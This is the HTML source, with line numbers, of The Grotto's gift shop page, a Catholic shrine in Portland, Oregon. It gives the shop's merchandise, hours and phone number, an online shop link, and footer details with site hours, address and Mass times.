href="https://thegrotto.org/mass-events/mass-schedule/" class="elementor-sub-item" tabindex="-1">Mass Schedule</a></li> 407 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-102"><a href="https://thegrotto.org/mass-events/event-calendar/" class="elementor-sub-item" tabindex="-1">Event Calendar</a></li> 408 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1694"><a href="https://thegrotto.org/eucharistic-miracles-exhibit/" class="elementor-sub-item" tabindex="-1">Eucharistic Miracles Exhibit</a></li> 409 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1700"><a href="https://thegrotto.org/mass-lunch-learn-2/" class="elementor-sub-item" tabindex="-1">Mass, Lunch & Learn</a></li> 410 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1649"><a href="https://thegrotto.org/gonzaga-concert-choir-at-the-grotto/" class="elementor-sub-item" tabindex="-1">Gonzaga Concert Choir at The Grotto</a></li> 411 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-138"><a href="https://thegrotto.org/about/employment-opportunities/" class="elementor-sub-item" tabindex="-1">Employment Opportunities</a></li> 412 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-105"><a href="https://thegrotto.org/mass-events/rosary/" class="elementor-sub-item" tabindex="-1">Rosary</a></li> 413 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-104"><a href="https://thegrotto.org/mass-events/confession/" class="elementor-sub-item" tabindex="-1">Confession</a></li> 414 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-108"><a href="https://thegrotto.org/mass-events/conference-center/" class="elementor-sub-item" tabindex="-1">Conference Center</a></li> 415 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-107"><a href="https://thegrotto.org/mass-events/weddings/" class="elementor-sub-item" tabindex="-1">Weddings</a></li> 416 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-81"><a href="https://thegrotto.org/christmas/" class="elementor-sub-item" tabindex="-1">Christmas</a> 417 <ul class="sub-menu elementor-nav-menu--dropdown"> 418 <li class="menu-item menu-item-type-custom menu-item-object-custom menu-item-110"><a href="/christmas" class="elementor-sub-item" tabindex="-1">Christmas Festival of Lights</a></li> 419 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-111"><a href="https://thegrotto.org/christmas/christmas-mass-schedule/" class="elementor-sub-item" tabindex="-1">Christmas Mass Schedule</a></li> 420 </ul> 421</li> 422</ul> 423</li> 424<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-80"><a href="https://thegrotto.org/support/" class="elemen
424tor-item" tabindex="-1">Support</a> 425<ul class="sub-menu elementor-nav-menu--dropdown"> 426 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-121"><a href="https://thegrotto.org/support/donate/" class="elementor-sub-item" tabindex="-1">Donate</a></li> 427 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-120"><a href="https://thegrotto.org/support/volunteer/" class="elementor-sub-item" tabindex="-1">Volunteer</a></li> 428 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-119"><a href="https://thegrotto.org/support/friends-of-the-grotto/" class="elementor-sub-item" tabindex="-1">Friends of the Grotto</a></li> 429 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-118"><a href="https://thegrotto.org/support/legacy-gifts/" class="elementor-sub-item" tabindex="-1">Legacy Gifts</a></li> 430</ul> 431</li> 432<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-79"><a href="https://thegrotto.org/pray/" class="elementor-item" tabindex="-1">Pray</a> 433<ul class="sub-menu elementor-nav-menu--dropdown"> 434 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-130"><a href="https://thegrotto.org/pray/daily-prayer/" class="elementor-sub-item" tabindex="-1">Daily Prayer</a></li> 435 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-129"><a href="https://thegrotto.org/pray/mass-intentions/" class="elementor-sub-item" tabindex="-1">Mass Intentions</a></li> 436 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-128"><a href="https://thegrotto.org/pray/st-peregrine-devotions/" class="elementor-sub-item" tabindex="-1">St. Peregrine Devotions </a></li> 437 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-789"><a href="https://thegrotto.org/a-guide-to-indulgences-for-the-st-peregrine-tercentenary/" class="elementor-sub-item" tabindex="-1">A Guide to Indulgences for the St. Peregrine Tercentenary</a></li> 438 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-127"><a href="https://thegrotto.org/pray/light-a-candle/" class="elementor-sub-item" tabindex="-1">Light a Candle</a></li> 439</ul> 440</li> 441<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-78"><a href="https://thegrotto.org/about/" class="elementor-item" tabindex="-1">About Us</a> 442<ul class="sub-menu elementor-nav-menu--dropdown"> 443 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-142"><a href="https://thegrotto.org/about/about-the-grotto/" class="elementor-sub-item" tabindex="-1">About The Grotto</a></li> 444 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-262"><a href="https://thegrotto.org/about/the-grotto-history/" class="elementor-sub-item" tabindex="-1">The Grottoâs History</a></li> 445 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-141"><a href="https://thegrotto.org/about/about-the-servites/" class="elementor-sub-item" tabindex="-1">About The Servites</a></li> 446 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-140"><a href="https://thegrotto.org/about/contact-us/" class="elementor-sub-item" tabindex="-1">Contact Us</a></li> 447 <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-139"><a href="https://thegrotto.org/about/daily-e-news/" class="elementor-sub-item" tabindex="-1">Daily E-News</a></li> 448</ul> 449</li> 450<li class="menu-item menu-item-type-post_type menu-item-object-page current-menu-item page_item page-item-75 current_page_item menu-item-77"><a href="https://thegrotto.org/shop/" aria-current="page" class="elementor-item elementor-item-active" tabindex="-1">Shop</a></li> 451</ul> </nav> 452 </div> 453 </div> 454 </div> 455 <div class="elementor-element elementor-element-ed14301 elementor-hidden-desktop elementor-hidden-tablet e-con-full e-flex e-con e-parent" data-id="ed14301" data-element_type="container" data-e-type="container"> 456 <div class="elementor-element elementor-element-613c0df e-flex e-con-boxed e-con e-child" data-id="613c0df" data-element_type="container" data-e-type="container"> 457 <div class="e-con-inner"> 458 <div class="elementor-element elementor-element-d371fec elementor-widget elementor-widget-search" data-id="d371fec" data-element_type="widget" data-e-type="widget" data-settings="{"submit_trigger":"click_submit","pagination_type_options":"none"}" data-widget_type="search.default"> 459 <search class="e-search hidden" role="search"> 460 <form class="e-search-form" action="https://thegrotto.org" method="get"> 461 462 463 <label class="e-search-label" for="search-d371fec"> 464 <span class="elementor-screen-only"> 465 Search </span> 466 </label> 467 468 <div class="e-search-input-wrapper"> 469 <input id="search-d371fec" placeholder="" class="e-search-input" type="search" name="s" value="" autocomplete="on" role="combobox" aria-autocomplete="list" aria-expanded="false" aria-controls="results-d371fec" aria-haspopup="listbox"> 470 <svg aria-hidden="true" class="e-font-icon-svg e-fas-times" viewBox="0 0 352 512" xmlns="http://www.w3.org/2000/svg"><path d="M242.72 256l100.07-100.07c12.28-12.28 12.28-32.19 0-44.48l-22.24-22.24c-12.28-12.28-32.19-12.28-44.48 0L176 189.28 75.93 89.21c-12.28-12.28-32.19-12.28-44.48 0L9.21 111.45c-12.28 12.28-12.28 32.19 0 44.48L109.28 256 9.21 356.07c-12.28 12.28-12.28 32.19 0 44.48l22.24 22.24c12.28 12.28 32.2 12.28 44.48 0L176 322.72l100.07 100.07c12.28 12.28 32.2 12.28 44.48 0l22.24-22.24c12.28-12.28 12.28-32.19 0-44.48L242.72 256z"></path></svg> <output id="results-d371fec" class="e-search-results-container hide-loader" aria-live="polite" aria-atomic="true" aria-label="Results for search" tabindex="0"> 471 <div class="e-search-results"></div> 472 </output> 473 </div> 474 475 476 <button class="e-search-submit " type="submit"> 477 478 <span class=""> 479 Search </span> 480 </button> 481 <input type="hidden" name="e_search_props" value="d371fec-39"> 482 </form> 483 </search> 484 </div> 485 </div>
486 </div> 487 </div> 488 </header> 489 490<main id="content" class="site-main post-75 page type-page status-publish hentry"> 491 492 493 <div class="page-content"> 494 <div data-elementor-type="wp-page" data-elementor-id="75" class="elementor elementor-75" data-elementor-post-type="page"> 495 <div class="elementor-element elementor-element-45889627 e-con-full e-flex e-con e-parent" data-id="45889627" data-element_type="container" data-e-type="container" data-settings="{"background_background":"classic"}"> 496 <div class="elementor-element elementor-element-58c8d172 e-con-full animated-slow e-flex elementor-invisible e-con e-child" data-id="58c8d172" data-element_type="container" data-e-type="container" data-settings="{"background_background":"classic","animation":"fadeInLeft"}"> 497 <div class="elementor-element elementor-element-6ea21a49 elementor-widget elementor-widget-heading" data-id="6ea21a49" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 498 <h1 class="elementor-heading-title elementor-size-default">The Grotto Gift Shop</h1> </div> 499 <div class="elementor-element elementor-element-4cdffbb animated-slow elementor-widget-divider--view-line elementor-invisible elementor-widget elementor-widget-divider" data-id="4cdffbb" data-element_type="widget" data-e-type="widget" data-settings="{"_animation":"fadeInLeft","_animation_delay":40}" data-widget_type="divider.default"> 500 <div class="elementor-divider"> 501 <span class="elementor-divider-separator"> 502 </span> 503 </div> 504 </div> 505 </div> 506 </div> 507 <div class="elementor-element elementor-element-1ed6636b e-flex e-con-boxed e-con e-parent" data-id="1ed6636b" data-element_type="container" data-e-type="container" data-settings="{"background_background":"classic"}"> 508 <div class="e-con-inner"> 509 <div class="elementor-element elementor-element-2c60a9b3 e-con-full e-flex e-con e-child" data-id="2c60a9b3" data-element_type="container" data-e-type="container"> 510 <div class="elementor-element elementor-element-4305406b elementor-widget elementor-widget-text-editor" data-id="4305406b" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 511 <p>Set among towering pines and native shrubs, the Grotto Gift Shop greets visitors entering from the main parking lot.</p><p>The proceeds of the Gift Shop help support The Grotto and its ministries.</p><p>The Gift Shop displays a variety of inspirational merchandise such as medals, nativity collections, patron saint medals, rosaries, St. Peregrine religious articles, Nativities, books and much more.</p><ul><li>Gift shop hours: 9 a.m. – 6:30 p.m. daily</li><li>Gift shop phone number:<b> <a href="tel:+15032612424">503-261-2424</a></b></li></ul> </div> 512 </div> 513 </div> 514 </div> 515 <div class="elementor-element elementor-element-455ae026 e-flex e-con-boxed e-con e-parent" data-id="455ae026" data-element_type="container" data-e-type="container"> 516 <div class="e-con-inner"> 517 <div class="elementor-element elementor-element-465f90c2 animated-slow elementor-invisible elementor-widget elementor-widget-button" data-id="465f90c2" data-element_type="widget" data-e-type="widget" data-settings="{"_animation":"fadeIn","_animation_delay":400}" data-widget_type="button.default"> 518 <a class="elementor-button elementor-button-link elementor-size-sm" href="https://shop.thegrotto.org/" target="_blank"> 519 <span class="elementor-button-content-wrapper"> 520 <span class="elementor-button-icon"> 521 <svg aria-hidden="true" class="e-font-icon-svg e-fas-shopping-cart" viewBox="0 0 576 512" xmlns="http://www.w3.org/2000/svg"><path d="M528.12 301.319l47.273-208C578.806 78.301 567.391 64 551.99 64H159.208l-9.166-44.81C147.758 8.021 137.93 0 126.529 0H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24h69.883l70.248 343.435C147.325 417.1 136 435.222 136 456c0 30.928 25.072 56 56 56s56-25.072 56-56c0-15.674-6.447-29.835-16.824-40h209.647C430.447 426.165 424 440.326 424 456c0 30.928 25.072 56 56 56s56-25.072 56-56c0-22.172-12.888-41.332-31.579-50.405l5.517-24.276c3.413-15.018-8.002-29.319-23.403-29.319H218.117l-6.545-32h293.145c11.206 0 20.92-7.754 23.403-18.681z"></path></svg> </span> 522 <span class="elementor-button-text">
522Click Here to Shop Online</span> 523 </span> 524 </a> 525 </div> 526 </div> 527 </div> 528 </div> 529 530 531 </div> 532 533 534</main> 535 536 <footer data-elementor-type="footer" data-elementor-id="50" class="elementor elementor-50 elementor-location-footer" data-elementor-post-type="elementor_library"> 537 <div class="elementor-element elementor-element-0987aab e-con-full e-flex e-con e-parent" data-id="0987aab" data-element_type="container" data-e-type="container" data-settings="{"background_background":"classic"}"> 538 <div class="elementor-element elementor-element-f485613 elementor-widget-divider--view-line elementor-widget elementor-widget-divider" data-id="f485613" data-element_type="widget" data-e-type="widget" data-widget_type="divider.default"> 539 <div class="elementor-divider"> 540 <span class="elementor-divider-separator"> 541 </span> 542 </div> 543 </div> 544 </div> 545 <div class="elementor-element elementor-element-5bd685a e-flex e-con-boxed e-con e-parent" data-id="5bd685a" data-element_type="container" data-e-type="container"> 546 <div class="e-con-inner"> 547 <div class="elementor-element elementor-element-84b04dc elementor-widget elementor-widget-shortcode" data-id="84b04dc" data-element_type="widget" data-e-type="widget" data-widget_type="shortcode.default"> 548 <div class="elementor-shortcode"><div class="gtranslate_wrapper" id="gt-wrapper-35723448"></div></div> 549 </div> 550 </div> 551 </div> 552 <div class="elementor-element elementor-element-dacad24 e-flex e-con-boxed e-con e-parent" data-id="dacad24" data-element_type="container" data-e-type="container"> 553 <div class="e-con-inner"> 554 <div class="elementor-element elementor-element-330890d e-con-full e-flex e-con e-child" data-id="330890d" data-element_type="container" data-e-type="container"> 555 <div class="elementor-element elementor-element-d336103 elementor-widget elementor-widget-heading" data-id="d336103" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 556 <h2 class="elementor-heading-title elementor-size-default">Hours (9/8/26 - 10/1/26)</h2> </div> 557 <div class="elementor-element elementor-element-8b54bf1 elementor-widget elementor-widget-text-editor" data-id="8b54bf1" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 558 <p><strong>Grounds: 9 a.m. â 6:30 p.m. </strong>(Daily) <em>Admission to the Upper Gardens is sold until 5:30 p.m. with gardens closing at 8 p.m.</em><br /><strong>Gift Shop: 9 a.m. â 6:30 p.m. </strong>(Daily)</p> </div> 559 </div> 560 <div class="elementor-element elementor-element-89faecc e-con-full e-flex e-con e-child" data-id="89faecc" data-element_type="container" data-e-type="container"> 561 <div class="elementor-element elementor-element-e0b5d82 elementor-widget elementor-widget-heading" data-id="e0b5d82" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 562 <h2 class="elementor-heading-title elementor-size-default">Policies</h2> </div> 563 <div class="elementor-element elementor-element-98a600b elementor-widget elementor-widget-text-editor" data-id="98a600b" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 564 <p><a href="/privacy-policy">Privacy Policy</a></p> </div> 565 </div> 566 <div class="elementor-element elementor-element-4af073e e-con-full e-flex e-con e-child" data-id="4af073e" data-element_type="container" data-e-type="container"> 567 <div class="elementor-element elementor-element-468a411 elementor-widget elementor-widget-heading" data-id="468a411" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 568 <h2 class="elementor-heading-title elementor-size-default">Leave a Review</h2> </div> 569 <div class="elementor-element elementor-element-8bf2834 e-grid-align-left elementor-shape-rounded elementor-grid-0 elementor-widget elementor-widget-social-icons" data-id="8bf2834" data-element_type="widget" data-e-type="widget" data-widget_type="social-icons.default"> 570 <div class="elementor-social-icons-wrapper elementor-grid" role="list"> 571 <span class="elementor-grid-item" role="listitem"> 572 <a class="elementor-icon elementor-social-icon elementor-social-icon-yelp elementor-repeater-item-5f34402" href="https://www.yelp.com/writeareview/biz/RVOw2Dy6Vv3crbox4jSHiQ?return_url=%2Fbiz%2FRVOw2Dy6Vv3crbox4jSHiQ&review_origin=biz-details-war-button" target="_blank"> 573 <span class="elementor-screen-only">Yelp</span> 574 <svg aria-hidden="true" class="e-font-icon-svg e-fab-yelp" viewB
574ox="0 0 384 512" xmlns="http://www.w3.org/2000/svg"><path d="M42.9 240.32l99.62 48.61c19.2 9.4 16.2 37.51-4.5 42.71L30.5 358.45a22.79 22.79 0 0 1-28.21-19.6 197.16 197.16 0 0 1 9-85.32 22.8 22.8 0 0 1 31.61-13.21zm44 239.25a199.45 199.45 0 0 0 79.42 32.11A22.78 22.78 0 0 0 192.94 490l3.9-110.82c.7-21.3-25.5-31.91-39.81-16.1l-74.21 82.4a22.82 22.82 0 0 0 4.09 34.09zm145.34-109.92l58.81 94a22.93 22.93 0 0 0 34 5.5 198.36 198.36 0 0 0 52.71-67.61A23 23 0 0 0 364.17 370l-105.42-34.26c-20.31-6.5-37.81 15.8-26.51 33.91zm148.33-132.23a197.44 197.44 0 0 0-50.41-69.31 22.85 22.85 0 0 0-34 4.4l-62 91.92c-11.9 17.7 4.7 40.61 25.2 34.71L366 268.63a23 23 0 0 0 14.61-31.21zM62.11 30.18a22.86 22.86 0 0 0-9.9 32l104.12 180.44c11.7 20.2 42.61 11.9 42.61-11.4V22.88a22.67 22.67 0 0 0-24.5-22.8 320.37 320.37 0 0 0-112.33 30.1z"></path></svg> </a> 575 </span> 576 <span class="elementor-grid-item" role="listitem"> 577 <a class="elementor-icon elementor-social-icon elementor-social-icon-facebook elementor-repeater-item-457cdd9" href="https://www.facebook.com/profile.php?id=100064850851625&sk=reviews" target="_blank"> 578 <span class="elementor-screen-only">Facebook</span> 579 <svg aria-hidden="true" class="e-font-icon-svg e-fab-facebook" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"><path d="M504 256C504 119 393 8 256 8S8 119 8 256c0 123.78 90.69 226.38 209.25 245V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.28c-30.8 0-40.41 19.12-40.41 38.73V256h68.78l-11 71.69h-57.78V501C413.31 482.38 504 379.78 504 256z"></path></svg> </a> 580 </span> 581 <span class="elementor-grid-item" role="listitem"> 582 <a class="elementor-icon elementor-social-icon elementor-social-icon-google elementor-repeater-item-1c30006" href="https://www.google.com/search?q=the+grotto&rlz=1C1VDKB_enUS1027US1027&oq=the+grotto&gs_lcrp=EgZjaHJvbWUqBggAEEUYOzIGCAAQRRg7MgYIARBFGDsyBggCEEUYOzINCAMQLhiDARixAxiABDIQCAQQLhiDARixAxiABBiKBTIGCAUQRRg8MgYIBhBFGDwyBggHEEUYPNIBCDI0MjFqMGo3qAIAsAIA&sourceid=chrome&ie=UTF-8&lqi=Cgp0aGUgZ3JvdHRvSIONtQJaHBAAEAEYABgBIgp0aGUgZ3JvdHRvKgYIAhAAEAGSARNoaXN0b3JpY2FsX2xhbmRtYXJrqgFNCgkvbS8wNHZrbjMQASoOIgp0aGUgZ3JvdHRvKAAyHhABIhpk4_aMJ4PKx-bQtqG2XcG-TRGrs2pxLC4aJzIOEAIiCnRoZSBncm90dG_gAQA#lkt=LocalPoiReviews&rlimm=13985209986835420330&lrd=0x5495a1512597471d:0xc2157262de9214aa,3,,,," target="_blank"> 583 <span class="elementor-screen-only">Google</span> 584 <svg aria-hidden="true" class="e-font-icon-svg e-fab-google" viewBox="0 0 488 512" xmlns="http://www.w3.org/2000/svg"><path d="M488 261.8C488 403.3 391.1 504 248 504 110.8 504 0 393.2 0 256S110.8 8 248 8c66.8 0 123 24.5 166.3 64.9l-67.5 64.9C258.5 52.6 94.3 116.6 94.3 256c0 86.5 69.1 156.6 153.7 156.6 98.2 0 135-70.4 140.8-106.9H248v-85.3h236.1c2.3 12.7 3.9 24.9 3.9 41.4z"></path></svg> </a> 585 </span> 586 </div> 587 </div> 588 </div> 589 <div class="elementor-element elementor-element-5997553 e-con-full e-flex e-con e-child" data-id="5997553" data-element_type="container" data-e-type="container"> 590 <div class="elementor-element elementor-element-93095ec elementor-widget elementor-widget-heading" data-id="93095ec" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 591 <h2 class="elementor-heading-title elementor-size-default">Address</h2> </div> 592 <div class="elementor-element elementor-element-c886293 elementor-widget elementor-widget-text-editor" data-id="c886293" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 593 <p><a href="https://www.google.com/maps/dir//8840+NE+Skidmore+St,+Portland,+OR+97220/data=!4m6!4m5!1m1!4e2!1m2!1m1!1s0x5495a15125f7d675:0x80721535470bb7ff?sa=X&ved=1t:707&ictx=111" target="_blank" rel="noopener">8840 NE Skidmore St. <br />Portland, OR 97220</a></p><p>(Entrance at NE 85<sup>th</sup>Â & Sandy Blvd.)</p> </div> 594 <div class="elementor-element elementor-element-5f99533 elementor-widget elementor-widget-heading" data-id="5f99533" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 595 <h2 class="elementor-heading-title elementor-size-default">Mass Times</h2> </div> 596 <div class="elementor-element elementor-element-64f06dd elementor-widget elementor-widget-text-editor" data-id="64f06dd" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 597 <p><strong>Daily Mass:</strong> 12 noon<br /><strong>Sunday Masses:</strong> 8 a.m., 10 a.m., 12 noon</p><p><a href="/mass-events/mass-schedule/">Full Mass Schedule</a></p> </div>
598 </div> 599 <div class="elementor-element elementor-element-7160a0c e-con-full e-flex e-con e-child" data-id="7160a0c" data-element_type="container" data-e-type="container"> 600 <div class="elementor-element elementor-element-05968fe elementor-widget elementor-widget-heading" data-id="05968fe" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 601 <h2 class="elementor-heading-title elementor-size-default">Quick Links</h2> </div> 602 <div class="elementor-element elementor-element-95c0c31 elementor-widget elementor-widget-text-editor" data-id="95c0c31" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 603 <p><a href="/sitemap/">Sitemap</a><br /><a href="/about/contact-us/">Contact Us</a><br /><a href="/christmas/">Christmas Festival of Lights</a><br /><a href="/about/daily-e-news/">E-News Signup</a><br /><a href="/support/">Support Us</a></p> </div> 604 </div> 605 <div class="elementor-element elementor-element-274bf41 e-con-full e-flex e-con e-child" data-id="274bf41" data-element_type="container" data-e-type="container"> 606 <div class="elementor-element elementor-element-cd232de elementor-widget elementor-widget-heading" data-id="cd232de" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 607 <h2 class="elementor-heading-title elementor-size-default">Follow Us</h2> </div> 608 <div class="elementor-element elementor-element-c9c9e61 e-grid-align-left elementor-shape-rounded elementor-grid-0 elementor-widget elementor-widget-social-icons" data-id="c9c9e61" data-element_type="widget" data-e-type="widget" data-widget_type="social-icons.default"> 609 <div class="elementor-social-icons-wrapper elementor-grid" role="list"> 610 <span class="elementor-grid-item" role="listitem"> 611 <a class="elementor-icon elementor-social-icon elementor-social-icon-instagram elementor-repeater-item-470cafb" href="https://www.instagram.com/thegrottopdx" target="_blank"> 612 <span class="elementor-screen-only">Instagram</span> 613 <svg aria-hidden="true" class="e-font-icon-svg e-fab-instagram" viewBox="0 0 448 512" xmlns="http://www.w3.org/2000/svg"><path d="M224.1 141c-63.6 0-114.9 51.3-114.9 114.9s51.3 114.9 114.9 114.9S339 319.5 339 255.9 287.7 141 224.1 141zm0 189.6c-41.1 0-74.7-33.5-74.7-74.7s33.5-74.7 74.7-74.7 74.7 33.5 74.7 74.7-33.6 74.7-74.7 74.7zm146.4-194.3c0 14.9-12 26.8-26.8 26.8-14.9 0-26.8-12-26.8-26.8s12-26.8 26.8-26.8 26.8 12 26.8 26.8zm76.1 27.2c-1.7-35.9-9.9-67.7-36.2-93.9-26.2-26.2-58-34.4-93.9-36.2-37-2.1-147.9-2.1-184.9 0-35.8 1.7-67.6 9.9-93.9 36.1s-34.4 58-36.2 93.9c-2.1 37-2.1 147.9 0 184.9 1.7 35.9 9.9 67.7 36.2 93.9s58 34.4 93.9 36.2c37 2.1 147.9 2.1 184.9 0 35.9-1.7 67.7-9.9 93.9-36.2 26.2-26.2 34.4-58 36.2-93.9 2.1-37 2.1-147.8 0-184.8zM398.8 388c-7.8 19.6-22.9 34.7-42.6 42.6-29.5 11.7-99.5 9-132.1 9s-102.7 2.6-132.1-9c-19.6-7.8-34.7-22.9-42.6-42.6-11.7-29.5-9-99.5-9-132.1s-2.6-102.7 9-132.1c7.8-19.6 22.9-34.7 42.6-42.6 29.5-11.7 99.5-9 132.1-9s102.7-2.6 132.1 9c19.6 7.8 34.7 22.9 42.6 42.6 11.7 29.5 9 99.5 9 132.1s2.7 102.7-9 132.1z"></path></svg> </a> 614 </span> 615 <span class="elementor-grid-item" role="listitem"> 616 <a class="elementor-icon elementor-social-icon elementor-social-icon-facebook elementor-repeater-item-05c2bb9" href="https://www.facebook.com/profile.php?id=100064850851625" target="_blank"> 617 <span class="elementor-screen-only">Facebook</span> 618 <svg aria-hidden="true" class="e-font-icon-svg e-fab-facebook" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"><path d="M504 256C504 119 393 8 256 8S8 119 8 256c0 123.78 90.69 226.38 209.25 245V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.28c-30.8 0-40.41 19.12-40.41 38.73V256h68.78l-11 71.69h-57.78V501C413.31 482.38 504 379.78 504 256z"></path></svg> </a> 619 </span> 620 <span class="elementor-grid-item" role="listitem"> 621 <a class="elementor-icon elementor-social-icon elementor-social-icon-youtube elementor-repeater-item-60087e4" href="https://www.youtube.com/user/TheGrottoPortland" target="_blank"> 622 <span class="elementor-screen-only">Youtube</span> 623 <svg aria-hidden="true" class="e-font-icon-svg e-fab-youtube" viewBox="0 0 576 512" xmlns="http://www.w3.org/2000/svg"><path d="M549.655 124.083c-6.281-23.65-24.787-42.276-48.284-48.597C458.781 64 288 64 288 64S117.22 64 74.629 75.486c-23.497 6.322-42.003 24.947-48.284 48.597-11.412 42.867-11.412 132.305-11.412 132.305s0 89.438 11.412 132.305c6.281 23.65 24.787 41.5 48.284 47.821C117.22 448 288 448 288 448s170.78 0 213.371-11.486c23.497-6.321 42.003-24.171 48.284-47.821 11.412-42.867 11.412-132.305 11.412-132.305s0-89.438-11.412-132.305zm-317.51 213.508V175.185l142.739 81.205-142.739 81.201z"></path></svg> </a> 624 </span> 625 <span class="elementor-grid-item" role="listitem"> 626 <a class="elementor-icon elementor-social-icon elementor-social-icon-twitter elementor-repeater-item-457cdd9" href="https://x.com/thegrottopdx" target="_blank"> 627 <span class="elementor-screen-only">Twitter</span> 628 <svg aria-hidden="true" class="e-font-icon-svg e-fab-twitter" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253z"></path></svg> </a> 629 </span> 630 </div> 631 </div> 632 <div class="elementor-element elementor-element-c8ff07e elementor-widget elementor-widget-heading" data-id="c8ff07e" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"> 633 <h2 class="elementor-heading-title elementor-size-default">The Grotto</h2> </div> 634 <div class="elementor-element elementor-element-fb439ca elementor-widget elementor-widget-text-editor" data-id="fb439ca" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 635 <p>The National Sanctuary of Our Sorrowful Mother, The Grotto, is an internationally-renowned Catholic shrine and botanical garden located minutes from downtown Portland, serving over 300,000 visitors annually.</p> </div>
636 </div> 637 </div> 638 </div> 639 <div class="elementor-element elementor-element-5e2c444 e-flex e-con-boxed e-con e-parent" data-id="5e2c444" data-element_type="container" data-e-type="container" data-settings="{"background_background":"classic"}"> 640 <div class="e-con-inner"> 641 <div class="elementor-element elementor-element-c5a8fac elementor-widget elementor-widget-text-editor" data-id="c5a8fac" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 642 <p><strong>Copyright 2026 | The Grotto | All Rights Reserved</strong></p> </div> 643 </div> 644 </div> 645 </footer> 646
647<script type="speculationrules"> 648{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/hello-elementor/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]} 649</script>
649 650
650<script> 651 ( function ( body ) { 652 'use strict'; 653 body.className = body.className.replace( /\btribe-no-js\b/, 'tribe-js' ); 654 } )( document.body ); 655 </script>
655 656
656<script type="text/javascript"> 657 function genesisBlocksShare( url, title, w, h ){ 658 var left = ( window.innerWidth / 2 )-( w / 2 ); 659 var top = ( window.innerHeight / 2 )-( h / 2 ); 660 return window.open(url, title, 'toolbar=no, location=no, directories=no, status=no, menubar=no, scrollbars=no, resizable=no, copyhistory=no, width=600, height=600, top='+top+', left='+left); 661 } 662 </script>
662 663
